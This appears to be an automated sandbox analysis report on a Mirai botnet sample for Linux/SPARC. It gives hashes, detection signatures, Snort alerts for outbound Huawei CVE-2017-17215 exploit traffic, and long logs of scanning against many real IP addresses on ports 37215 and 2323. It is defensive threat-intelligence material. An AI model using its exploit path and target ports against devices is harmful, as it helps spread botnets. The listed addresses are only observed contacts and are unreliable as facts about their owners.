Linux Analysis Report
Qymt4zooqx.elf

Overview

General Information

Sample name: Qymt4zooqx.elf
renamed because original name is a hash value
Original sample name: 6440c359b142cc9b1e4de07fd2827174.elf
Analysis ID: 1433177
MD5: 6440c359b142cc9b1e4de07fd2827174
SHA1: 3e574ee0c66e91c3a551bcf6d726a89bed473691
SHA256: b229eaf427832d43ece2acb55abd1978d0529efe0eb6ff547ee7d88eaf456119
Tags: 32elfmiraisparc
Infos:

Detection

Mirai
Score: 100
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Yara detected Mirai
Connects to many ports of the same IP (likely port scanning)
Uses known network protocols on non-standard ports
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
HTTP GET or POST without a user agent
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: Qymt4zooqx.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: Qymt4zooqx.elf ReversingLabs: Detection: 50%

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:52396 -> 157.230.44.43:37215
Source: Traffic Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:52396 -> 157.230.44.43:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:49490 -> 163.191.222.245:37215
Source: Traffic Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:49490 -> 163.191.222.245:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:49598 -> 34.120.199.239:37215
Source: Traffic Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:49598 -> 34.120.199.239:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:33568 -> 34.102.185.182:37215
Source: Traffic Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:33568 -> 34.102.185.182:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:45912 -> 41.193.254.143:37215
Source: Traffic Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:45912 -> 41.193.254.143:37215
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 38.45.200.163 ports 38241,1,2,3,4,8
Source: global traffic TCP traffic: 157.191.50.240 ports 1,2,3,5,7,37215
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 52396 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 49490 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 49490 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 49490 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 49490 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 49598 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 33568 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 45912 -> 37215
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.52.146.217:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.41.219.28:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.148.149.218:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.26.62.10:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.14.1.38:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.5.236.26:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 89.247.113.169:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.119.66.161:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.163.52.249:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.56.161.237:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.147.0.237:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.234.174.73:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.27.56.151:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 124.185.211.78:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.98.95.200:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.206.9.40:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 43.145.152.32:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.134.52.236:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.75.95.53:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.89.29.219:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.150.246.9:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.172.92.168:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 24.116.245.175:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.228.69.205:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.165.122.113:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.14.101.252:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.191.50.240:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.90.176.211:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.241.202.156:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.99.255.58:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 83.253.211.148:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.150.160.248:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.228.47.144:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.125.252.105:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.95.53.252:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 1.103.218.132:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.106.194.44:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 124.217.144.128:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 216.78.213.181:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.173.74.180:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.90.244.254:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 121.89.185.94:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.229.137.160:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.22.11.63:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.165.16.193:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.237.22.86:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 43.188.178.94:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.93.121.24:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 96.205.55.123:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 203.2.249.45:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.50.21.123:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 155.12.205.164:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.87.108.96:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.118.141.235:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 200.83.169.255:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.111.109.156:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 91.160.174.60:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.68.46.230:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.92.248.160:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.211.35.147:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.176.122.245:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.148.205.104:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 13.210.56.199:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.12.121.243:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 23.50.140.47:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.39.208.205:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.91.29.113:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.8.249.76:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.248.178.81:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.88.34.189:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.109.21.250:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 17.62.166.155:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 73.34.145.245:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 216.68.226.173:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 196.84.255.184:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.215.4.62:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.8.235.199:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.178.24.244:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.194.9.4:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 68.2.239.212:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 14.143.218.238:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.48.36.13:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.125.250.59:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.69.42.122:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.29.114.18:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 131.125.19.213:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 160.251.254.104:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.136.135.191:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.147.69.136:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.39.171.53:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.148.177.55:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.3.24.152:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.163.122.85:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.118.207.145:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.107.139.164:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.219.191.225:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 175.173.27.145:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.153.187.45:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 204.154.207.170:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.105.128.73:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 40.154.111.234:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 134.34.121.12:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.107.255.8:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 46.95.216.80:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.115.113.25:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.232.220.105:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 108.97.56.229:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.90.199.37:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 180.97.221.235:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 92.23.147.163:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 60.17.95.197:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.212.108.132:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.126.238.40:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.118.201.68:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 94.127.178.104:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 151.189.64.196:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.88.63.127:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.49.74.168:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.197.68.196:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.250.46.83:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 99.132.73.86:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.184.182.211:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.124.130.192:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.6.95.138:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.218.81.105:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.74.27.171:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.218.131.131:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.121.109.65:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.166.92.190:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 161.115.21.228:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 129.226.100.28:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.128.13.234:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 93.200.221.98:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.76.67.214:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 72.122.94.243:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 70.234.222.16:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.42.152.246:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.71.160.214:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.66.72.226:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.225.101.238:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 5.37.169.239:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.57.44.237:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.193.117.179:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.35.101.37:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.221.69.233:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 173.122.205.96:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.139.118.135:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.122.23.200:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.233.202.129:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.163.214.103:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.223.73.172:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.112.139.122:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 134.67.188.124:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.231.158.179:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.160.76.165:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.38.220.199:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.249.66.153:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.98.179.190:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.37.120.49:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.108.135.43:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.167.150.217:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.135.34.249:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 135.225.218.217:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 164.190.10.184:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.72.46.45:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.131.90.34:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.96.252.138:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 102.116.141.190:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.76.99.194:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.155.118.219:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.80.178.116:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.210.115.149:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.122.101.213:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 14.31.225.48:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.214.165.242:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 89.97.98.151:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.29.169.2:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 126.37.71.119:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.145.89.143:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.2.6.31:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 49.233.50.206:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 204.26.140.65:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.90.83.16:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 94.185.79.128:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 46.57.228.135:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.188.22.91:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.120.11.134:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 92.161.104.30:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.136.56.254:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.54.69.140:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.212.25.184:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.114.69.239:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 126.230.240.51:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.158.77.133:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.7.57.186:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.209.74.71:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 169.221.224.149:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 39.85.225.117:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 8.94.232.141:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 117.10.206.193:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 36.13.11.208:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 8.74.209.201:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 49.63.235.201:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 91.76.145.135:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.3.193.255:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.163.226.143:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 2.129.229.216:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.161.172.53:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.87.92.229:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.239.203.227:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.211.78.97:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.37.107.159:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.126.204.250:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.35.20.216:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.56.119.120:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.142.166.53:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.117.38.197:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.131.93.241:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.119.71.57:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.170.47.47:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.133.131.206:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.193.88.152:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.220.116.88:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.74.89.190:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.92.106.52:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 160.125.54.255:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 2.179.204.91:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.235.12.58:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.180.147.43:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 1.235.87.204:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 72.84.90.225:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.135.66.46:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 34.222.72.169:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.67.246.34:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.57.63.74:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.200.97.249:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.41.134.239:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.46.206.43:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.32.140.27:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.55.219.29:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.210.186.38:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 112.109.99.64:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.239.227.137:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.82.219.9:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.77.145.0:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.167.3.182:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.116.12.208:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.246.46.44:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.99.229.178:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.10.24.233:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.137.230.143:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 152.224.25.117:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.83.196.98:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.116.240.53:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.32.73.139:37215
Source: global traffic TCP traffic: 192.168.2.14:48984 -> 38.45.200.163:38241
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 130.36.146.217:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 207.122.168.68:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 154.120.238.131:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 54.180.113.13:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 38.61.7.15:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 76.214.112.115:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 151.64.5.40:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 89.14.181.25:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 102.44.25.69:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 95.228.42.211:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 205.184.255.47:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 209.241.13.199:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 196.208.159.119:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 60.101.37.18:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 63.148.60.223:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 146.211.154.212:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 185.78.125.253:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 8.91.152.28:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 61.211.213.203:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 122.155.111.152:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 75.209.7.85:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 123.8.154.30:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 146.109.246.122:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 195.24.84.9:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 153.99.144.107:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 99.219.75.104:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 198.81.27.238:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 52.129.209.197:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 154.120.85.145:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 147.109.100.148:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 110.218.172.95:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 159.101.106.183:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 50.240.201.111:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 46.87.99.247:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 189.107.158.195:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 81.233.114.220:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 76.243.221.189:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 78.80.230.69:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 126.78.71.98:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 48.119.125.222:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 213.237.0.76:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 101.226.164.161:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 159.203.50.30:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 196.219.51.62:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 118.86.168.64:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 52.31.226.16:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 210.255.137.45:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 59.175.59.86:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 8.71.81.126:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 105.68.243.117:2323
Source: global traffic TCP traffic: 192.168.2.14:10997 -> 153.79.111.146:2323
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.217.231.83:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.47.160.125:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.165.203.79:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.89.89.63:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.115.78.38:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.222.81.2:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 171.178.34.124:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 61.149.10.138:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.47.9.31:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.109.62.214:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.145.147.117:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.203.37.83:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 90.208.150.125:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.98.74.106:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.135.69.230:37215
